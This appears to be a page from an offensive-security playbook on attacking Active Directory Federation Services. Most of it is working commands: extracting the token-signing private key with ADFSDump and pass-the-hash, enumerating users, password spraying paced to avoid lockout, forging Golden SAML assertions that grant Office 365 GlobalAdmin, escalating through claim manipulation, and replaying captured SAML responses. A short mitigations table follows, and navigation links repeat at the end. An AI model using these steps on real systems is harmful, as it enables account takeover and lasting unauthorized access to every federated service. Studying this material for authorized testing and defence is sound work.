ADFS

Active Directory Federation Services (ADFS) provides Single Sign-On (SSO) to external applications via SAML 2.0 and WS-Federation. The token-signing certificate is the crown jewel: its private key allows forging SAML assertions for any user against any relying party, surviving password resets and account disables.

How ADFS Works

User       →  /adfs/ls  →  ADFS authenticates the user against AD
ADFS       →  signs a SAML assertion with the token-signing private key
ADFS       →  redirects the user to the Relying Party with the assertion in the POST body
Relying Party  →  validates the assertion signature with the public cert
Relying Party  →  reads claims (NameID, groups, roles) and grants access

Key components:

Federation Server: the ADFS service, typically at https://adfs.$DOMAIN/adfs/ls
Token-signing certificate: private key signs every outbound assertion. Stored in the ADFS configuration database, encrypted via DPAPI under the ADFS service account.
Relying Party Trusts (RPs): the service providers (Office 365, Salesforce, internal apps) that trust this ADFS instance
Claim rules: transforms AD attributes (UPN, groups, extensionAttributes) into SAML claims sent to the RP

Enumeration

Unauthenticated Discovery

# ADFS federation metadata (no auth required, reveals signing cert public key and endpoints)
curl -s https://adfs.$DOMAIN/FederationMetadata/2007-06/FederationMetadata.xml

# Confirm ADFS is running
curl -sk https://adfs.$DOMAIN/adfs/ls/ -o /dev/null -w "%{http_code}"

# DNS
nslookup adfs.$DOMAIN $DC_IP

Authenticated Enumeration (PowerShell on ADFS server)

# List all relying party trusts
Get-ADFSRelyingPartyTrust | Select-Object Name, Enabled, Identifier, IssuanceAuthorizationRules

# ADFS global configuration (lockout policy, endpoints)
Get-ADFSProperties | Select-Object Hostname, TlsClientPort, LockoutEnabled, LockoutThreshold, ExtranetLockoutEnabled

# Token-signing certificate (public key only without DPAPI access)
Get-ADFSCertificate -CertificateType Token-Signing

# Claim rules per relying party
Get-ADFSRelyingPartyTrust | ForEach-Object {
    Write-Host "=== $($_.Name) ===" -ForegroundColor Cyan
    $_.IssuanceTransformRules
}

ADFSDump

ADFSDump extracts the full ADFS configuration including the token-signing private key. Run on the ADFS server with local admin, or supply the ADFS service account credentials.

# On the ADFS server (local admin required)
.\ADFSDump.exe

# Output:
#   [*] Token-Signing Certificate: <thumbprint>
#   [*] Private Key: <base64 PFX>
#   [*] Relying Parties:
#       - Microsoft Office 365 Identity Platform
#       - ...
#   [*] Claim Rules per RP

# Convert the exported PFX to PEM for Python tooling
openssl pkcs12 -in TokenSigning.pfx -nocerts -nodes -out signing.key
openssl pkcs12 -in TokenSigning.pfx -clcerts -nokeys -out signing.crt

Credential-Based Attacks

ADFS exposes forms-based authentication at /adfs/ls. Crucially, ADFS maintains its own lockout policy separate from AD’s fine-grained password policy. Many deployments have no extranet lockout configured, making spraying safe at low volume.

User Enumeration

ADFS returns distinct responses for valid versus invalid usernames, enabling unauthenticated enumeration before any authentication attempt.

# Valid user: response body references password failure
# Invalid user: response body references username not found or generic error
curl -sk -X POST 'https://adfs.$DOMAIN/adfs/ls/' \
  -d "UserName=$DOMAIN\\$USER&Password=invalid&AuthMethod=FormsAuthentication" \
  | grep -i 'incorrect\|not found\|password'

Password Spraying

Check lockout settings before spraying. If ExtranetLockoutEnabled is false, the threshold is effectively unlimited.

# ADFSSpray
Invoke-ADFSSpray -Url "https://adfs.$DOMAIN/adfs/ls/" \
  -UserList users.txt -Password '$PASSWORD' -Domain $DOMAIN

# MSOLSpray (Office 365 / federated domains)
Invoke-MSOLSpray -UserList users.txt -Password '$PASSWORD'

# o365spray (supports ADFS module)
python3 o365spray.py --spray -U users.txt -p '$PASSWORD' \
  --domain $DOMAIN --module adfs

# trevorspray
trevorspray -u users.txt -p '$PASSWORD' --adfs https://adfs.$DOMAIN

Keep spraying intervals above 30 minutes per user. Monitor for 342 or 391 ADFS event IDs in the ADFS event log that indicate lockout activity.

Golden SAML

The most impactful ADFS attack. Once you possess the token-signing private key, you can forge SAML assertions for any user, for any relying party, indefinitely. The forgery is cryptographically valid and indistinguishable from a legitimate assertion. Why it is dangerous:

No password required for the impersonated user
Survives password resets, account disables, MFA enrollment changes
Valid against every SP trusting this ADFS until the cert is rotated
Leaves no trace in AD (no logon event against the impersonated account)

Step 1: Extract the Token-Signing Private Key

The private key is stored in the ADFS configuration database (Windows Internal Database or SQL Server), encrypted with DPAPI under the ADFS service account’s master key.

# Option A: On the ADFS server with local admin
.\ADFSDump.exe
# Produces TokenSigning.pfx

# Option B: If you have the ADFS service account hash, impersonate it first
sekurlsa::pth /user:$ADFS_SVC_USER /domain:$DOMAIN /ntlm:$ADFS_SVC_HASH /run:powershell.exe
# Then run ADFSDump in that context
.\ADFSDump.exe

# Convert PFX to PEM
openssl pkcs12 -in TokenSigning.pfx -nocerts -nodes -out signing.key -passin pass:
openssl pkcs12 -in TokenSigning.pfx -clcerts -nokeys -out signing.crt -passin pass:

Step 2: Identify Target RP and Claims

# Find the RP identifier (Audience URI) and required claims
Get-ADFSRelyingPartyTrust -Name 'Microsoft Office 365 Identity Platform' |
  Select-Object Identifier, IssuanceTransformRules

# For a custom app, note the EntityID from its SAML metadata
curl -s https://$TARGET_SP/saml/metadata | grep -i 'entityID'

Step 3: Get the Target User’s ImmutableID (Azure AD / O365)

For Office 365 / Azure AD federated domains, the assertion NameID must be the user’s ImmutableID (base64-encoded objectGUID).

$user = Get-ADUser -Identity Administrator -Properties ObjectGUID
[System.Convert]::ToBase64String($user.ObjectGUID.ToByteArray())
# Output: base64 string — use as the NameID in the forged assertion

Step 4: Forge and Submit the Assertion

# shimit (CyberArk): forge and open the browser session
python shimit.py \
  -idp https://adfs.$DOMAIN/adfs/services/trust \
  -k signing.key \
  -c signing.crt \
  -u Administrator@$DOMAIN \
  -n $IMMUTABLE_ID \
  -r 'http://schemas.microsoft.com/ws/2008/06/identity/claims/role=GlobalAdmin' \
  -a 'https://login.microsoftonline.com/'

# AADInternals: Golden SAML directly to Office 365 portal
$cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2("TokenSigning.pfx","")
$token = New-AADIntSAMLToken `
  -ImmutableID $IMMUTABLE_ID `
  -Issuer "http://adfs.$DOMAIN/adfs/services/trust" `
  -Certificate $cert
Open-AADIntOffice365Portal -SAMLToken $token

Claim Manipulation

ADFS issues assertions containing claims that SPs use to make authorization decisions. If the SP trusts claims without re-validating them against the directory, controlling the claim value equals controlling access.

Attack Surface

AD attribute passthrough: Claim rules often map AD attributes directly to SAML claims.

# Example claim rule: maps "department" attribute to a role claim
c:[Type == "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/department"]
 => issue(Type = "http://schemas.xmlsoap.org/ws/2008/06/identity/claims/role", Value = c.Value);

If you can write to the mapped attribute on your own account, you control the claim.

# Write to a user-controlled AD attribute that maps to a privileged claim
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
  set object '$USER' department -v 'Administrators'

# Re-authenticate to ADFS: the forged role claim grants elevated access on the SP

Overly broad passthrough rules: Rules of the form c:[] => issue(claim = c); pass through every attribute. If the SP grants access based on any of these and you control an attribute, it is a direct escalation path. With Golden SAML (no AD write needed): Forge the assertion with arbitrary claim values directly in the signed XML.

# Add arbitrary role claims to the forged assertion
python shimit.py ... \
  -r 'http://schemas.xmlsoap.org/ws/2008/06/identity/claims/role=Admin' \
  -r 'http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress=admin@$DOMAIN'

Enumeration

# Find passthrough or attribute-based claim rules
Get-ADFSRelyingPartyTrust | ForEach-Object {
  $name = $_.Name
  $_.IssuanceTransformRules -split "`n" | Where-Object { $_ -match 'extensionAttribute|department|title|c:\[\]' } |
    ForEach-Object { Write-Host "$name : $_" }
}

# Check which AD attributes are mapped
Get-ADFSAttributeStore
Get-ADFSClaimDescription | Select-Object ShortName, ClaimType

SAML Replay Attack

A valid SAML assertion intercepted in transit can be reused within its validity window (typically 1 to 5 minutes). Assertions carry a NotOnOrAfter timestamp and a unique AssertionID. If the SP does not cache used AssertionID values to prevent reuse, the assertion can be replayed to establish a second session.

Interception Methods

MitM on the browser redirect (POST binding: assertion is in the POST body, visible in plaintext over HTTP)
XSS on the SP or a co-hosted application that leaks the POST body
Browser history, proxy logs, or referrer headers containing the base64 assertion
Compromised reverse proxy or WAF sitting in front of the SP

Replay Procedure

# Decode a captured SAMLResponse
echo '$SAML_RESPONSE_BASE64' | base64 -d > assertion.xml

# Inspect validity window and AssertionID
grep -E 'NotOnOrAfter|NotBefore|AssertionID|ID=' assertion.xml

# Replay to the SP's ACS endpoint within the window
curl -s -X POST "https://$TARGET_SP/saml/acs" \
  --data-urlencode "SAMLResponse=$SAML_RESPONSE_BASE64" \
  --data-urlencode "RelayState=$RELAY_STATE" \
  -c cookies.txt -b cookies.txt -L

A successful replay returns an authenticated session without any credential input.

Why SPs Are Vulnerable

No AssertionID cache maintained server-side
Validity window wider than 2 minutes (some apps set 10 to 30 minutes)
POST binding used without strict transport security (assertion visible in clear)
SP accepts redirect binding without verifying the assertion was intended for it (missing InResponseTo check)

Mitigations

Control	Mitigates
Enable ADFS Extranet Lockout (`ExtranetLockoutEnabled`)	Credential spray
Rotate token-signing certificate	Golden SAML with extracted key
Enable ADFS auditing (Event 1200, 1202, 1203, 1204)	Token issuance visibility
Monitor DPAPI access on ADFS service account	Key extraction detection
SP-side AssertionID cache	Replay attacks
Restrict claim passthrough rules	Claim manipulation
Enforce short assertion validity windows (< 2 min)	Replay attacks
Use Azure AD Smart Lockout for federated tenants	Cloud-side spray detection

References

ADFSDump

Mandiant tool to extract ADFS token-signing certificates and relying party configuration from a compromised ADFS server

shimit (Golden SAML)

CyberArk tool to forge SAML assertions using a stolen token-signing private key

Golden SAML: All Paths Lead to Rome

CyberArk’s original Golden SAML research

AADInternals

PowerShell toolkit for Azure AD and Office 365 attacks including Golden SAML for federated domains

Overview

Enumeration

Attacks

ADCS

Hardened Environments

ADFS

How ADFS Works

Enumeration

Unauthenticated Discovery

Authenticated Enumeration (PowerShell on ADFS server)

ADFSDump

Credential-Based Attacks

User Enumeration

Password Spraying

Golden SAML

Step 1: Extract the Token-Signing Private Key

Step 2: Identify Target RP and Claims

Step 3: Get the Target User’s ImmutableID (Azure AD / O365)

Step 4: Forge and Submit the Assertion

Claim Manipulation

Attack Surface

Enumeration

SAML Replay Attack

Interception Methods

Replay Procedure

Why SPs Are Vulnerable

Mitigations

References

ADFSDump

shimit (Golden SAML)

Golden SAML: All Paths Lead to Rome

AADInternals

​How ADFS Works

​Enumeration

​Unauthenticated Discovery

​Authenticated Enumeration (PowerShell on ADFS server)

​ADFSDump

​Credential-Based Attacks

​User Enumeration

​Password Spraying

​Golden SAML

​Step 1: Extract the Token-Signing Private Key

​Step 2: Identify Target RP and Claims

​Step 3: Get the Target User’s ImmutableID (Azure AD / O365)

​Step 4: Forge and Submit the Assertion

​Claim Manipulation

​Attack Surface

​Enumeration

​SAML Replay Attack

​Interception Methods

​Replay Procedure

​Why SPs Are Vulnerable

​Mitigations

​References

ADFSDump

shimit (Golden SAML)

Golden SAML: All Paths Lead to Rome

AADInternals

How ADFS Works

Enumeration

Unauthenticated Discovery

Authenticated Enumeration (PowerShell on ADFS server)

ADFSDump

Credential-Based Attacks

User Enumeration

Password Spraying

Golden SAML

Step 1: Extract the Token-Signing Private Key

Step 2: Identify Target RP and Claims

Step 3: Get the Target User’s ImmutableID (Azure AD / O365)

Step 4: Forge and Submit the Assertion

Claim Manipulation

Attack Surface

Enumeration

SAML Replay Attack

Interception Methods

Replay Procedure

Why SPs Are Vulnerable

Mitigations

References